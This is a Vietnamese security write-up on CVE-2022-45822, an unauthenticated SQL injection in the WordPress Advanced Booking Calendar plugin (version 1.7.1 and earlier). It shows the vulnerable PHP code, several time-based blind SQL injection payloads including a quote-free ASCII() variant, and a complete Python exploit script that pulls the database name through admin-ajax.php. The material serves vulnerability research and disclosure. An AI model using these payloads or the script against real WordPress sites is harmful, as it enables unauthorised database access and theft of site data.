# **Unauth. SQL Injection vulnerability in Advanced Booking Calendar plugin ≤1.7.1 on Wordpress**
## 1. Giới thiệu về CVE-2022-45822
WordPress là một hệ thống mã nguồn mở dùng để xuất bản blog/website được viết bằng ngôn ngữ lập trình PHP và cơ sở dữ liệu MySQL. WordPress được biết đến như một CMS miễn phí nhưng tốt, dễ sử dụng và phổ biến nhất trên thế giới.
CVE-2022-45822 được [minhtuanact](https://patchstack.com/database/researcher/5e778c79-219c-41ba-87fe-d6dff7e57737#alliance-header) đã phát hiện và được **Patchstack** tiết lộ vào ngày 06/12/2022. Theo báo cáo, đây là một lỗ hổng SQL injection và được tìm ra trong plugin Advanced Booking Calendar của Wordpress. Điều này có thể cho phép tác nhân độc hại tương tác trực tiếp với cơ sở dữ liệu database để thực hiện việc đánh cắp thông tin và tạo tài khoản quản trị viên mới.
Lỗ hổng này vẫn chưa được public PoC cũng như chưa được khắc phục.
## 2. Phạm vi ảnh hưởng
* Plugin Advanced Booking Calendar <= 1.7.1 trên WordPress.
## 3. Đánh giá mức độ nghiêm trọng
CVE-2022-45822 được đánh giá mức độ nghiêm trọng là : **CRITICAL** với số điểm như sau:
* **NIST**: NVD
**Base Score**: 9.8 - CRITICAL
**Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
* **CNA**: Patchstack
**Base Score**: 10.0 - CRITICAL
**Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
## 4. Dựng môi trường
Plugin Advanced Booking Calendar là một plugin của WordPress cho phép chủ sở hữu trang web thêm lịch đặt chỗ vào trang web của họ. Plugin này có thể được sử dụng cho nhiều ứng dụng khác nhau, chẳng hạn như đặt lịch hẹn, lên lịch sự kiện hoặc đặt chỗ. Plugin này cung cấp nhiều tính năng để quản lý lịch đặt chỗ, bao gồm hiển thị trạng thái đặt chỗ, đặt giới hạn số lượng đặt chỗ, xác nhận đặt chỗ tự động và nhiều tính năng khác.

Ở đây chúng ta sẽ cài đặt Plugin Advanced Booking Calendar 1.7.1 để tiến hành tìm kiếm lỗ hổng.
## 5. Phân tích và khai thác lỗ hổng
Theo thông tin tìm hiểu, Patchstack chỉ công bố lỗ hổng nằm ở Plugin Advanced Booking Calendar chứ không chỉ rõ endpoint bị dính SQL injection. Vì vậy việc của chúng ta trước tiên là tìm kiếm endpoint này.
Sử dụng `Semgrep` scan source code của plugin này.

Chúng ta sẽ tập trung vào những endpoint bị positive với SQL Injection. Verify 1 lượt, có thể thấy các input từ người dùng đều được truyền vào function `inval()`.

Hàm `intval()` được sử dụng để chuyển đổi một giá trị sang kiểu số nguyên (integer). Hàm này nhận vào một tham số đầu vào là giá trị cần chuyển đổi, có thể là một chuỗi ký tự hoặc một biến có giá trị bất kỳ. Do vậy, user truyền các ký tự chuỗi string SQL như `1' or 1=1-- -` sẽ được chuẩn hóa chuyển về thành số nguyên -> không thể dẫn tới SQL Injection
Tuy nhiên, có một endpoint khác biệt ở đây:


> Vị trí của Source và Sink có khả năng gây lỗi:
```php
function ajax_abc_booking_setDataRange() {
...
$start = strtotime(sanitize_text_field($_POST['start']));
$end = strtotime(sanitize_text_field($_POST['end']));
$calendarId = sanitize_text_field($_POST['calendar']);
$dateformat = getAbcSetting('dateformat');
$currency = getAbcSetting('currency');
...
$er = $wpdb->get_row('SELECT * FROM '.$wpdb->prefix.'abc_calendars WHERE id = '.$calendarId, ARRAY_A);
...
}
```
User có thể kiểm soát được biến `$calendarID` được truyền từ param `$_POST['calendar']`, tuy nhiên nó đã được validate đầu vào sử dụng hàm: `sanitize_text_field`.
> API có khả năng gây lỗi:

Thử simple blind-SQLi payload:`1 and 1 = (SELECT IF(1=1,SLEEP(5),1))` thì response delay 5s.
Kết luận tại parameter `calendar` bị dính SQL injection.

Khi sử dụng payload `1 and (SELECT IF((SELECT STRCMP("SQL", "SQL"))=0,SLEEP(3),false))` thì dường như `"` đã bị escape thành `\"`

Do đó câu truy vấn đã bị lỗi khiến không thể inject payload kèm ký tự `'` và `"` -> tìm cách chèn payload không chứa ký tự đặc biệt (`", '`)

Bằng việc sử dụng hàm `ASCII()` để so sánh giá trị số với nhau đã giải quyết được vấn đề escape ký tự đặc biệt (`", '`). Payload được sửa thành:
`1 and (SELECT IF(ASCII(substring(DATABASE(),1,1))=119,SLEEP(5),false))`


## 6. Exploit script
```javascript
import requests
target = "http://localhost:80/wordpress/wordpress/wp-admin/admin-ajax.php"
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://localhost", "Connection": "close",
"Referer": "http://localhost/wordpress/wordpress/double/"}
def findLengthDBName():
i = 1
while (True):
payload = {"action": "abc_booking_setDataRange", "abc_nonce": "0a2358a708", "start": "2023-03-15",
"end": "2023-03-23", "uniqid": "640addd53cbb2", "calendar": "1 and (SELECT IF(length(DATABASE())={},SLEEP(3),false))".format(i)}
rq = requests.post(target, headers=header, data=payload)
print(rq.elapsed.total_seconds())
if (rq.elapsed.total_seconds() >= 3):
return i
i += 1
def findDBName():
length = findLengthDBName()
dbName = ''
for i in range(1, length+1):
for j in range(33, 126):
payload = {"action": "abc_booking_setDataRange", "abc_nonce": "0a2358a708", "start": "2023-03-15",
"end": "2023-03-23", "uniqid": "640addd53cbb2", "calendar": "1 and (SELECT IF(ASCII(substring(DATABASE(),{},1))={},SLEEP(3),false))".format(i, j)}
rq = requests.post(target, headers=header, data=payload)
if (rq.elapsed.total_seconds() >= 3):
dbName += chr(j)
print(dbName)
break
return dbName
print(findDBName())
```
Kết quả:
